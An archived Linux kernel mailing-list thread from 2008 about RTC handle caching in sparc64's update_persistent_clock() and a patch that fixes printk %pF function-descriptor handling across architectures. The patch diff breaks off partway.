	<20080908.164427.216880550.davem@davemloft.net>
	<200809081755.26148.david-b@pacbell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220928778 982 80.91.229.12 (9 Sep 2008 02:52:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 02:52:58 +0000 (UTC)
Cc: James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	alessandro.zummo@towertech.it
To: david-b@pacbell.net
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 04:53:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KctMP-0003wW-Ni
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 04:53:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752224AbYIICwm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 22:52:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752304AbYIICwm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 22:52:42 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:51882
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1752224AbYIICwm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 22:52:42 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id AD2D2C8C182;
	Mon,  8 Sep 2008 19:52:35 -0700 (PDT)
In-Reply-To: <200809081755.26148.david-b@pacbell.net>
X-Mailer: Mew version 6.1 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:759 gmane.linux.kernel:731330
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/759>

From: David Brownell <david-b@pacbell.net>
Date: Mon, 8 Sep 2008 17:55:25 -0700

> On Monday 08 September 2008, David Miller wrote:
> > From: David Brownell <david-b@pacbell.net>
> > Date: Mon, 8 Sep 2008 16:29:20 -0700
> > 
> > > That said, there's a bit of unresolved stuff around NTP hooks
> > > in the kernel.  Some patches are pending to let thtem work with
> > > the RTC framework -- where writing an RTC may need to sleep,
> > > for example because the RTC is on an I2C or SPI bus.  And
> > > then there's the discussion of whether that shouldn't all be
> > > handled by NTPD anyway, no special kernel support desired.
> > > Alessandro has opinions there.  ;)
> > 
> > My update_persistent_clock() on sparc64 is:
> > 
> > int update_persistent_clock(struct timespec now)
> > {
> > 	struct rtc_device *rtc = rtc_class_open("rtc0");
> 
> I'd be tempted to cache that ... notice how you never
> close it, too.  That will goof lots of refcounts...

Well if I cache it then we'll hold it forever and that's not
so nice right?

I'm going to put the missing rtc_close() in there for now to
fix the leak.

I'm happy to cache this if you think it's warranted, but then
this is like saying that the refcount doesn't matter :-)

> =============== CUT ON THE DOTTED LINE ==================
> Subject: ntp: let update_persistent_clock() sleep
> From: "Maciej W. Rozycki" <macro@linux-mips.org>

I see, as Paul mentioned this is needed for stuff like RTCs
behind I2C.

This change isn't in Linus's tree yet.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Brownell <david-b@pacbell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 8 Sep 2008 20:17:23 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <200809082017.24152.david-b@pacbell.net>
References: <200809081629.21125.david-b@pacbell.net> <200809081755.26148.david-b@pacbell.net> <20080908.195235.200905674.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1220930657 6333 80.91.229.12 (9 Sep 2008 03:24:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 03:24:17 +0000 (UTC)
Cc: James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	alessandro.zummo@towertech.it
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 05:25:11 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kctqo-0001Kx-UZ
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 05:25:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752480AbYIIDYH convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 23:24:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752517AbYIIDYH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 23:24:07 -0400
Original-Received: from smtp120.sbc.mail.sp1.yahoo.com ([69.147.64.93]:36630 "HELO
	smtp120.sbc.mail.sp1.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1752321AbYIIDYF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 23:24:05 -0400
Original-Received: (qmail 65898 invoked from network); 9 Sep 2008 03:17:25 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=s1024; d=pacbell.net;
  h=Received:X-YMail-OSG:X-Yahoo-Newman-Property:From:To:Subject:Date:User-Agent:Cc:References:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id;
  b=dSMQk4pSujMLF972xM1YgGoyigqh3QD5Z9qXry0lCevj63wY9oG9l6erMnVAmJnMeQ0tLv0v6eq/W/FAcyy0f7J41DFOtqrpCxpHEpIas8c1CZwOF9HHFNkqoC3JCU8JkUYis7/RINoC4eDWVdB0TUq6AR4rr3dg5teq0RCyk58=  ;
Original-Received: from unknown (HELO pogo.local) (david-b@pacbell.net@69.226.231.171 with plain)
  by smtp120.sbc.mail.sp1.yahoo.com with SMTP; 9 Sep 2008 03:17:25 -0000
X-YMail-OSG: O1oRCkAVM1mQMcGD2YH6GNW1YZr4ol73si2s1CNE5IAo5GmCfbFYDe5R.aHypag80ChFBRlC0eNrIlIVdMEIVZn.GMgFymnGkGpAXtOljg--
X-Yahoo-Newman-Property: ymail-3
User-Agent: KMail/1.9.9
In-Reply-To: <20080908.195235.200905674.davem@davemloft.net>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:760 gmane.linux.kernel:731341
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/760>

On Monday 08 September 2008, David Miller wrote:
>=20
> > > int update_persistent_clock(struct timespec now)
> > > {
> > > =A0=A0=A0=A0struct rtc_device *rtc =3D rtc_class_open("rtc0");

One more point:  that should probably use CONFIG_RTC_HCTOSYS_DEVICE
instead of hard-wiring to "rtc0".  Yeah, I'm sure your SPARCs have
lots of RTCs to choose from -- not! -- but I'd like to see you end
up with code that many folk can reuse/recycle/pirate.  ;)


> >=20
> > I'd be tempted to cache that ... notice how you never
> > close it, too. =A0That will goof lots of refcounts...
>=20
> Well if I cache it then we'll hold it forever and that's not
> so nice right?

Why wouldn't it be, so long as it's eventually closed
to prevent leakage?  Other code can rtc_class_open() too;
unlike a userspace open("/dev/rtc0", ...) this isn't an
exclusive operation.


> I'm going to put the missing rtc_close() in there for now to
> fix the leak.
>=20
> I'm happy to cache this if you think it's warranted, but then
> this is like saying that the refcount doesn't matter :-)

If you're concerned about stuff like "rmmod my-i2c-rtc-driver"
losing (or "rmmod my-i2c-rtc-driver's-i2c-adapter") ... what's
supposed to happen is that you start getting an -ENODEV return
from your rtc_set_mmss() call, and then you close and null your
cached handle to free up its memory.

The next time you go through this routine you'd see nothing
is cached and then try to get an RTC.  Maybe it's available
again; maybe not.

- Dave
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 08 Sep 2008 20:51:28 -0700 (PDT)
Lines: 61
Approved: news@gmane.org
Message-ID: <20080908.205128.192725776.davem@davemloft.net>
References: <200809081755.26148.david-b@pacbell.net>
	<20080908.195235.200905674.davem@davemloft.net>
	<200809082017.24152.david-b@pacbell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1220932308 11006 80.91.229.12 (9 Sep 2008 03:51:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 03:51:48 +0000 (UTC)
Cc: James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	alessandro.zummo@towertech.it
To: david-b@pacbell.net
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 05:52:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KcuHP-0006Zc-HV
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 05:52:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752480AbYIIDvg convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 23:51:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752446AbYIIDvg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 23:51:36 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:33616
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1750967AbYIIDvf convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 23:51:35 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 2DC25C8C182;
	Mon,  8 Sep 2008 20:51:29 -0700 (PDT)
In-Reply-To: <200809082017.24152.david-b@pacbell.net>
X-Mailer: Mew version 6.1 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:761 gmane.linux.kernel:731350
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/761>

=46rom: David Brownell <david-b@pacbell.net>
Date: Mon, 8 Sep 2008 20:17:23 -0700

> On Monday 08 September 2008, David Miller wrote:
> >=20
> > > > int update_persistent_clock(struct timespec now)
> > > > {
> > > > =A0=A0=A0=A0struct rtc_device *rtc =3D rtc_class_open("rtc0");
>=20
> One more point:  that should probably use CONFIG_RTC_HCTOSYS_DEVICE
> instead of hard-wiring to "rtc0".  Yeah, I'm sure your SPARCs have
> lots of RTCs to choose from -- not! -- but I'd like to see you end
> up with code that many folk can reuse/recycle/pirate.  ;)

Can you be more specific?  Oh, you want me to use the string defined
by that config option.  Ok :-)

But as far as I can tell this will only be set of RTC_HCTOSYS and
users currently are allowed to not set that.

If this code goes somewhere generic you would need to ifdef test on
that, depending upon where you'd want to put it and how it would
be provided generically.

> > >=20
> > > I'd be tempted to cache that ... notice how you never
> > > close it, too. =A0That will goof lots of refcounts...
> >=20
> > Well if I cache it then we'll hold it forever and that's not
> > so nice right?
>=20
> Why wouldn't it be, so long as it's eventually closed
> to prevent leakage?  Other code can rtc_class_open() too;
> unlike a userspace open("/dev/rtc0", ...) this isn't an
> exclusive operation.

When would be "eventually closed" if I open it here and remember
the pointer in a static local variable, and don't close it?

I guess you need to be more specific about what you mean by
caching :)

> If you're concerned about stuff like "rmmod my-i2c-rtc-driver"
> losing (or "rmmod my-i2c-rtc-driver's-i2c-adapter") ... what's
> supposed to happen is that you start getting an -ENODEV return
> from your rtc_set_mmss() call, and then you close and null your
> cached handle to free up its memory.

I see... god that's ugly.  If you want to do this in the generic
RTC layer helper routines, that's fine, but I don't feel like
adding all sorts of stuff like that to the sparc specific routine
at the moment.

I'm trying to do things that are practical and that I can check
into sparc-next-2.6 right now.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Brownell <david-b@pacbell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 8 Sep 2008 21:14:00 -0700
Lines: 77
Approved: news@gmane.org
Message-ID: <200809082114.01347.david-b@pacbell.net>
References: <200809081755.26148.david-b@pacbell.net> <200809082017.24152.david-b@pacbell.net> <20080908.205128.192725776.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1220933760 15335 80.91.229.12 (9 Sep 2008 04:16:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 04:16:00 +0000 (UTC)
Cc: James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	alessandro.zummo@towertech.it
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 06:16:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kcues-0002QZ-TV
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 06:16:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756408AbYIIEOH convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2008 00:14:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756427AbYIIEOH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Sep 2008 00:14:07 -0400
Original-Received: from smtp118.sbc.mail.sp1.yahoo.com ([69.147.64.91]:38961 "HELO
	smtp118.sbc.mail.sp1.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1756434AbYIIEOE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2008 00:14:04 -0400
Original-Received: (qmail 96611 invoked from network); 9 Sep 2008 04:14:03 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=s1024; d=pacbell.net;
  h=Received:X-YMail-OSG:X-Yahoo-Newman-Property:From:To:Subject:Date:User-Agent:Cc:References:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id;
  b=ALMUCmTF4+dC6UWVWCY6eXQiNSXlxztVYwE/beFdNDR1wCjjtAoivnDr9X+QJrhykMU9tmiq1C8rU+MOlA3V4kYNQi9DGNsMuU37/8XlsUsfGQ9lcqotEnxrj35cy9QDTbniMBBfMykMyl9NvJMzTQavYEi/uL92ixFZpRFrndQ=  ;
Original-Received: from unknown (HELO pogo.local) (david-b@pacbell.net@69.226.231.171 with plain)
  by smtp118.sbc.mail.sp1.yahoo.com with SMTP; 9 Sep 2008 04:14:02 -0000
X-YMail-OSG: SGu.bFAVM1k64PojU4f69bLvYb3YErIXzBHb4n2EMbNORrwbadVCZ4AW0U2afwxY3sJeuCmL247q13KJiloykZBByqw0lkArHvlnYA9jOA--
X-Yahoo-Newman-Property: ymail-3
User-Agent: KMail/1.9.9
In-Reply-To: <20080908.205128.192725776.davem@davemloft.net>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:762 gmane.linux.kernel:731372
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/762>

On Monday 08 September 2008, David Miller wrote:
> > > > > =A0=A0=A0=A0struct rtc_device *rtc =3D rtc_class_open("rtc0")=
;
> >=20
> > One more point:  that should probably use CONFIG_RTC_HCTOSYS_DEVICE
> > instead of hard-wiring to "rtc0".  Yeah, I'm sure your SPARCs have
> > lots of RTCs to choose from -- not! -- but I'd like to see you end
> > up with code that many folk can reuse/recycle/pirate.  ;)
>=20
> Can you be more specific?  Oh, you want me to use the string defined
> by that config option.  Ok :-)
>=20
> But as far as I can tell this will only be set of RTC_HCTOSYS and
> users currently are allowed to not set that.
>=20
> If this code goes somewhere generic you would need to ifdef test on
> that, depending upon where you'd want to put it and how it would
> be provided generically.

OK.


> > > > I'd be tempted to cache that ... notice how you never
> > > > close it, too. =A0That will goof lots of refcounts...
> > >=20
> > > Well if I cache it then we'll hold it forever and that's not
> > > so nice right?
> >=20
> > Why wouldn't it be, so long as it's eventually closed
> > to prevent leakage?  Other code can rtc_class_open() too;
> > unlike a userspace open("/dev/rtc0", ...) this isn't an
> > exclusive operation.
>=20
> When would be "eventually closed" if I open it here and remember
> the pointer in a static local variable, and don't close it?
>=20
> I guess you need to be more specific about what you mean by
> caching :)

I'll translate that as "-ENOPATCH".  :)

It'd suffice to fire a timer every 15 minutes or so, and
close it if the NTP logic hasn't refreshed the clock since
last time.  You're right that the simplest scheme is to just
open/close on each call.  The extra work is so infrequent it
may not be measurable.


> > If you're concerned about stuff like "rmmod my-i2c-rtc-driver"
> > losing (or "rmmod my-i2c-rtc-driver's-i2c-adapter") ... what's
> > supposed to happen is that you start getting an -ENODEV return
> > from your rtc_set_mmss() call, and then you close and null your
> > cached handle to free up its memory.
>=20
> I see... god that's ugly.  If you want to do this in the generic
> RTC layer helper routines,

=2E.. when they get created ...


> 	that's fine, but I don't feel like=20
> adding all sorts of stuff like that to the sparc specific routine
> at the moment.
>=20
> I'm trying to do things that are practical and that I can check
> into sparc-next-2.6 right now.

OK by me.



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc
Subject: RE: [PATCH] Correct printk %pF to work on all architectures
Date: Tue, 09 Sep 2008 09:12:41 -0500
Lines: 226
Approved: news@gmane.org
Message-ID: <1220969561.3334.7.camel@localhost.localdomain>
References: <1220473137.3254.29.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031419560.3515@nehalem.linux-foundation.org>
	 <1220481754.3254.42.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031546310.3515@nehalem.linux-foundation.org>
	 <1220482853.3254.47.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031602270.3515@nehalem.linux-foundation.org>
	 <1220484812.3254.59.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031636320.3515@nehalem.linux-foundation.org>
	 <1220492616.3254.64.camel@localhost.localdomain>
	 <1220567811.4879.85.camel@pasglop>
	 <57C9024A16AD2D4C97DC78E552063EA30A0DC383@orsmsx505.amr.corp.intel.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220969577 24740 80.91.229.12 (9 Sep 2008 14:12:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 14:12:57 +0000 (UTC)
Cc: "Luck, Tony" <tony.luck@intel.com>,
	"benh@kernel.crashing.org" <benh@kernel.crashing.org>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	"linuxppc-dev@ozlabs.org" <linuxppc-dev@ozlabs.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Sep 09 16:13:51 2008
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kd3yZ-0004Kh-0Y
	for glpi-linux-ia64-2@gmane.org; Tue, 09 Sep 2008 16:13:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753765AbYIIOMr (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 9 Sep 2008 10:12:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753814AbYIIOMq
	(ORCPT <rfc822;linux-ia64-outgoing>); Tue, 9 Sep 2008 10:12:46 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:49799 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753765AbYIIOMp (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 9 Sep 2008 10:12:45 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 5219D8399;
	Tue,  9 Sep 2008 09:12:41 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id z3fE+KhRkJdv; Tue,  9 Sep 2008 09:12:40 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 9C1D57F62;
	Tue,  9 Sep 2008 09:12:39 -0500 (CDT)
In-Reply-To: <57C9024A16AD2D4C97DC78E552063EA30A0DC383@orsmsx505.amr.corp.intel.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:19429 gmane.linux.kernel.cross-arch:2103 gmane.linux.ports.ppc64.devel:46677 gmane.linux.ports.parisc:763
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/763>

OK, so could we get this in to -rc5 please?  It's a bug fix for parisc
since we're currently printing rubbish.

James

---
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Date: Wed, 3 Sep 2008 20:43:36 -0500
Subject: lib: Correct printk %pF to work on all architectures

It was introduced by

commit 0fe1ef24f7bd0020f29ffe287dfdb9ead33ca0b2
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Sun Jul 6 16:43:12 2008 -0700

    vsprintf: add support for '%pS' and '%pF' pointer formats


However, the current way its coded doesn't work on parisc64.  For two
reasons:  1) parisc isn't in the #ifdef and 2) parisc has a different
format for function descriptors

Make dereference_function_descriptor() more accommodating by allowing
architecture overrides.  I put the three overrides (for parisc64, ppc64
and ia64) in arch/kernel/module.c because that's where the kernel
internal linker which knows how to deal with function descriptors sits.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
Acked-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Acked-by: Tony Luck <tony.luck@intel.com>
---
 arch/ia64/include/asm/sections.h    |    3 +++
 arch/ia64/kernel/module.c           |   12 ++++++++++++
 arch/parisc/kernel/module.c         |   14 ++++++++++++++
 arch/powerpc/include/asm/sections.h |    3 +++
 arch/powerpc/kernel/module_64.c     |   13 ++++++++++++-
 include/asm-generic/sections.h      |    6 ++++++
 include/asm-parisc/sections.h       |    5 +++++
 lib/vsprintf.c                      |   11 +----------
 8 files changed, 56 insertions(+), 11 deletions(-)

diff --git a/arch/ia64/include/asm/sections.h b/arch/ia64/include/asm/sections.h
index 7286e4a..a7acad2 100644
--- a/arch/ia64/include/asm/sections.h
+++ b/arch/ia64/include/asm/sections.h
@@ -21,5 +21,8 @@ extern char __start_gate_brl_fsys_bubble_down_patchlist[], __end_gate_brl_fsys_b
 extern char __start_unwind[], __end_unwind[];
 extern char __start_ivt_text[], __end_ivt_text[];
 
+#undef dereference_function_descriptor
+void *dereference_function_descriptor(void *);
+
 #endif /* _ASM_IA64_SECTIONS_H */
 
diff --git a/arch/ia64/kernel/module.c b/arch/ia64/kernel/module.c
index 29aad34..545626f 100644
--- a/arch/ia64/kernel/module.c
+++ b/arch/ia64/kernel/module.c
@@ -31,9 +31,11 @@
 #include <linux/elf.h>
 #include <linux/moduleloader.h>
 #include <linux/string.h>
+#include <linux/uaccess.h>
 #include <linux/vmalloc.h>
 
 #include <asm/patch.h>
+#include <asm/sections.h>
 #include <asm/unaligned.h>
 
 #define ARCH_MODULE_DEBUG 0
@@ -941,3 +943,13 @@ module_arch_cleanup (struct module *mod)
 	if (mod->arch.core_unw_table)
 		unw_remove_unwind_table(mod->arch.core_unw_table);
 }
+
+void *dereference_function_descriptor(void *ptr)
+{
+	struct fdesc *desc = ptr;
+	void *p;
+
+	if (!probe_kernel_address(&desc->ip, p))
+		ptr = p;
+	return ptr;
+}
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index fdacdd4..44138c3 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -47,7 +47,9 @@
 #include <linux/string.h>
 #include <linux/kernel.h>
 #include <linux/bug.h>
+#include <linux/uaccess.h>
 
+#include <asm/sections.h>
 #include <asm/unwind.h>
 
 #if 0
@@ -860,3 +862,15 @@ void module_arch_cleanup(struct module *mod)
 	deregister_unwind_table(mod);
 	module_bug_cleanup(mod);
 }
+
+#ifdef CONFIG_64BIT
+void *dereference_function_descriptor(void *ptr)
+{
+	Elf64_Fdesc *desc = ptr;
+	void *p;
+
+	if (!probe_kernel_address(&desc->addr, p))
+		ptr = p;
+	return ptr;
+}
+#endif
diff --git a/arch/powerpc/include/asm/sections.h b/arch/powerpc/include/asm/sections.h
index 916018e..7710e9e 100644
--- a/arch/powerpc/include/asm/sections.h
+++ b/arch/powerpc/include/asm/sections.h
@@ -16,6 +16,9 @@ static inline int in_kernel_text(unsigned long addr)
 	return 0;
 }
 
+#undef dereference_function_descriptor
+void *dereference_function_descriptor(void *);
+
 #endif
 
 #endif /* __KERNEL__ */
diff --git a/arch/powerpc/kernel/module_64.c b/arch/powerpc/kernel/module_64.c
index ee6a298..ad79de2 100644
--- a/arch/powerpc/kernel/module_64.c
+++ b/arch/powerpc/kernel/module_64.c
@@ -21,8 +21,9 @@
 #include <linux/err.h>
 #include <linux/vmalloc.h>
 #include <linux/bug.h>
+#include <linux/uaccess.h>
 #include <asm/module.h>
-#include <asm/uaccess.h>
+#include <asm/sections.h>
 #include <asm/firmware.h>
 #include <asm/code-patching.h>
 #include <linux/sort.h>
@@ -451,3 +452,13 @@ int apply_relocate_add(Elf64_Shdr *sechdrs,
 
 	return 0;
 }
+
+void *dereference_function_descriptor(void *ptr)
+{
+	struct ppc64_opd_entry *desc = ptr;
+	void *p;
+
